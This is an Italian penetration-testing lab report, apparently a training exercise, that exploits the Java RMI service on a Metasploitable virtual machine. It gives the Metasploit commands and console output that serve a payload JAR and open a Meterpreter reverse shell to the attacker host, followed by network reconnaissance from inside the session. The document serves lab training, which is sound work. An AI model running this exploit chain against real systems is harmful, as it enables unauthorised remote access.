

Report di Penetration Testing: Sfruttamento della Vulnerabilità Java RMI su Metasploitable

1. Informazioni Generali

- **Obiettivo:** Ottenere una sessione Meterpreter remota su un sistema target **Metasploitable** mediante lo sfruttamento del servizio vulnerabile **Java RMI** (porta 1099).

Configurazione di Rete:

- **IP Attaccante (Kali Linux):** 192.168.11.111
- **IP Vittima (Metasploitable):** 192.168.11.112

2. Fasi dell'Attività e Comandi Eseguiti

Fase 1: Configurazione della Rete di Laboratorio

1. Configurazione dell'indirizzo IP statico sulla macchina attaccante (Kali Linux):

`sudo ip addr add 192.168.11.111/24 dev eth0`

```
(kali㉿kali)-[~]
$ sudo ip addr add 192.168.11.111/24 dev eth0
[sudo] password for kali:

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:8a:35:d2 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 384sec preferred_lft 384sec
    inet 192.168.11.111/24 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::9fb1:a90d:e788:5b39/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:f7:ca:45 brd ff:ff:ff:ff:ff:ff
```

2. Configurazione dell'indirizzo IP target sulla macchina vittima (Metasploitable):

`sudo ifconfig eth0 192.168.11.112 netmask 255.255.255.0`

```

msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:e4:bd:22 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
    inet6 fe80::a00:27ff:fee4:bd22/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000
    link/ether 08:00:27:57:dd:80 brd ff:ff:ff:ff:ff:ff
msfadmin@metasploitable:~$

```

3. Verifica della connettività tramite test di ping:

ping -c 3 192.168.11.112

```

(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=11.9 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.75 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.505 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.901 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.835 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.568 ms
^C
— 192.168.11.112 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5046ms
rtt min/avg/max/mdev = 0.505/2.737/11.865/4.102 ms

```

Fase 2: Esecuzione dell'Exploit tramite Metasploit

1. Avvio della console di Metasploit su Kali Linux:

msfconsole


```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set LPORT 192.168.11.111
LPORT => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
```

4. Esecuzione dell'attacco:

exploit

L'attacco ha sfruttato con successo la vulnerabilità del class loader RMI, aprendo una sessione interattiva di Meterpreter (meterpreter >).

```
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/t8iIiZMSE
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 3 opened (192.168.11.111:4444 → 192.168.11.112:42482) at 2026-07-24 03:15:26 -0400
meterpreter > ifconfig
```

Fase 3: Raccolta delle Evidenze (Post-Exploitation)

All'interno della sessione Meterpreter attiva, sono stati eseguiti i comandi necessari per estrarre le evidenze richieste:

1. Visualizzazione della configurazione di rete:

ipconfig

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee4:bd22
IPv6 Netmask : ::
```

Evidenza raccolta: Conferma dell'interfaccia eth0 associata all'indirizzo IP 192.168.11.112 con subnet mask 255.255.255.0.

2. Acquisizione della tabella di routing:

route

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0           lo
192.168.11.112 255.255.255.0 0.0.0.0      0           eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0           lo
fe80::a00:27ff:fee4:bd22 ::           ::           0           eth0
meterpreter > █
```

Evidenza raccolta: Visualizzazione delle rotte IPv4 configurate sulla macchina remota Metasploitable.